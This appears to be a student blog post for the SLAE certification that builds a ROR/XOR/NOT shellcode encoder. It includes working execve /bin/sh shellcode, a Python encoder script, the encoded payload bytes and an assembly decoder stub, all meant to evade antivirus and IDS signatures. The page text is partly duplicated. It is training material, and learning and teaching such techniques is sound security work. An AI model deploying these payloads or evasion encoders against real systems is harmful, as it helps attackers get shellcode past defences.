For my SLAE (Securitytube Linux Assembly Expert) certification exam, I have to blog my 7 assignments. Below is the fourth exercise requested about writing
a custom encoder shellcode. Code can be found at my GitHub SLAE repository.
4. ENCODER SHELLCODE
___________________________________________________
___________________________________________________
Plain or clear shellcode can be detected easily by Antivirus and Intrusion Detection Systems. Indeed, they just have to make a signature of the shellcode, and it will be
detected without much effort. One strategy to avoid that is to encode the shellcode, so that the resulting opcodes have no meaning at all. Of course to make it runable,
a decoder stub has to be prepended and decode the shellcode at runtime, and jump to it.
I looked at various assembly instructions to make a decoder, one famous being XOR. However, I wanted to chain multiple instructions as to not make the encoding too close to known encoding schemes such as XOR. After looking into it, I went for the combination of ROR, XOR, and NOT. The three are bitwize instructions, ROR will rotate the bits by 7 to the right (= ROL 1), XOR will be applied with a key to encode the shellcode further, and then NOT will finally invert each byte. As an example: \x0D (ROR 7) = \x3B (XOR \xAA) = \x91 (NOT) = \x6E. So \x0D becomes \x6E at the end of the encoding. Below, let's start with the original shellcode, that will be later encoded. This is a simple Execve /bin/sh shellcode.
All comments are on the code. Available also on GitHub:
https://github.com/gkweb76/SLAE/blob/master/assignment3/egg-hunter.asm
Then we compile and build it, checking it works:
It works as expected as we have a /bin/sh shell opened, now it's time to make an encoder. I have made a ROR/XOR/NOT encoder in python, which has to be opened to put the shellcode inside, before execution of the python program:
So original shellcode was:
"\x31\xc0\x50\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80"
Encoded shellcode becomes:
"\x37\xd4\xf5\x85\x89\x0b\xb3\x85\x85\x0b\x0b\x91\x87\x46\x92\xf5\x46\x90\xf3\x46\x96\x34\x43\xce\x54"
Now it's time to write a decoder shellcode, a decoder stub that will be launched first, to then decode the execve shellcode:
Then running the final program:
We can see that our encoded execve /bin/sh is correctly decoded and executed. There is a lot of possibilities to make encoders, and I think that combining 3 instructions is not a bad idea, even if the final size is 50 bytes (against 25 bytes unencoded). If size is an issue for a particular exploit, it is possible to use a single encoding instruction such as INC, provided the original shellcode has no \xFF byte. Finally, now Antivirus and IDS have adapated and are able to fingerprint decoder stubs. We will talk about solutions in other assignments.
This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification: http://securitytube-training.com/online-courses/securitytube-linux-assembly-expert/
Student ID: SLAE-681
I looked at various assembly instructions to make a decoder, one famous being XOR. However, I wanted to chain multiple instructions as to not make the encoding too close to known encoding schemes such as XOR. After looking into it, I went for the combination of ROR, XOR, and NOT. The three are bitwize instructions, ROR will rotate the bits by 7 to the right (= ROL 1), XOR will be applied with a key to encode the shellcode further, and then NOT will finally invert each byte. As an example: \x0D (ROR 7) = \x3B (XOR \xAA) = \x91 (NOT) = \x6E. So \x0D becomes \x6E at the end of the encoding. Below, let's start with the original shellcode, that will be later encoded. This is a simple Execve /bin/sh shellcode.
All comments are on the code. Available also on GitHub:
https://github.com/gkweb76/SLAE/blob/master/assignment3/egg-hunter.asm
; Title: Execve stack (25 bytes) ; From SLAE course ; SLAE-681 global _start section .text _start: ; ebx ecx edx ; [/bin/sh][NULL][&/bin/sh][NULL] ; 1 [NULL] xor eax, eax push eax ; push NULL on the stack, before pushing a string ; 2 [&/bin/sh][NULL] ; PUSH //bin/sh (8 bytes) 68732f6e 69622f2f push 0x68732f6e push 0x69622f2f mov ebx, esp ; ebx = //bin/sh NULL ; 3 [NULL][&/bin/sh][NULL] push eax mov edx, esp ; edx = NULL push ebx mov ecx, esp ; ecx = &//bin/sh mov al, 11 ; execve syscall int 0x80
It works as expected as we have a /bin/sh shell opened, now it's time to make an encoder. I have made a ROR/XOR/NOT encoder in python, which has to be opened to put the shellcode inside, before execution of the python program:
#!/usr/bin/python # Title: ROR/XOR/NOT encoder # File: rorxornotencode.py # Author: Guillaume Kaddouch # SLAE-681 import sys ror = lambda val, r_bits, max_bits: \ ((val & (2**max_bits-1)) >> r_bits%max_bits) | \ (val << (max_bits-(r_bits%max_bits)) & (2**max_bits-1)) shellcode = ( "\x31\xc0\x50\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80" ) encoded = "" encoded2 = "" print "[*] Encoding shellcode..." for x in bytearray(shellcode): # ROR & XOR encoding z = ror(x, 7, 8)^0xAA # NOT encoding y = ~z if str('%02x' % (y & 0xff)).upper() == "00": print ">>>>>>>>>> NULL detected in shellcode, aborting." sys.exit() if str('%02x' % (y & 0xff)).upper() == "0A": print ">>>>>>>>>> \\xOA detected in shellcode." if str('%02x' % (y & 0xff)).upper() == "0D": print ">>>>>>>>>>> \\x0D detected in shellcode." encoded += '\\x' encoded += '%02x' % (y & 0xff) encoded2 += '0x' encoded2 += '%02x,' %(y & 0xff) print "hex version : %s" % encoded print "nasm version : %s" % encoded2 print "encoded shellcode : %s bytes" % str(len(encoded)/4)We can now execute this python program to encode our shellcode, and display it on screen:
So original shellcode was:
"\x31\xc0\x50\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80"
Encoded shellcode becomes:
"\x37\xd4\xf5\x85\x89\x0b\xb3\x85\x85\x0b\x0b\x91\x87\x46\x92\xf5\x46\x90\xf3\x46\x96\x34\x43\xce\x54"
Now it's time to write a decoder shellcode, a decoder stub that will be launched first, to then decode the execve shellcode:
; Title: Execve ROR XOR NOT decoder shellcode ; File: execve-rorxornotencoded.asm ; Author: Guillaume Kaddouch ; SLAE-681 global _start section .text _start: jmp short get_address ; JMP CALL POP method to get "encoded" address shellcode: pop esi ; retrieve encoded shellcode address xor ecx, ecx mov cl, len ; set the counter to encoded shellcode length decoder: ; decoding of ROR/XOR/NOT starts end and decodes backward not byte [esi] ; NOT current byte xor byte [esi], 0xAA ; XOR 0xaa rol byte [esi], 7 ; ROL 7: rotate left 7 bytes inc esi loop decoder ; loop until ecx = 0 jmp short encoded ; ecx = 0, jump to now decoded shellcode get_address: call shellcode encoded: db 0x37,0xd4,0xf5,0x85,0x89,0x0b,0xb3,0x85,0x85,0x0b,0x0b,0x91,0x87,0x46,0x92,0xf5,0x46,0x90,0xf3,0x46,0x96,0x34,0x43,0xce,0x54 len equ $-encoded:The encoded execve /bin/sh shellcode has been included at the end of the shellcode, in the "encoded" variable. The decoder stub loops byte by byte to decode it, and then jump to it. Let's compile it and see if it works:
Then running the final program:
We can see that our encoded execve /bin/sh is correctly decoded and executed. There is a lot of possibilities to make encoders, and I think that combining 3 instructions is not a bad idea, even if the final size is 50 bytes (against 25 bytes unencoded). If size is an issue for a particular exploit, it is possible to use a single encoding instruction such as INC, provided the original shellcode has no \xFF byte. Finally, now Antivirus and IDS have adapated and are able to fingerprint decoder stubs. We will talk about solutions in other assignments.
This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification: http://securitytube-training.com/online-courses/securitytube-linux-assembly-expert/
Student ID: SLAE-681
No comments:
Post a Comment